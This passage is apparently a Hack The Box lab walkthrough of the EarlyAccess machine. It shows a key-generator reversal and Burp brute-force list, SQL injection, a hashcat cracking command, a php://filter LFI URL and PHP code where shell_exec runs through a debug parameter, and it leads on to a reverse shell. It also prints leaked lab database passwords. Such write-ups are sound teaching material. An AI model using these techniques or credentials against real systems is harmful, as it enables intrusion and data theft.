mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used 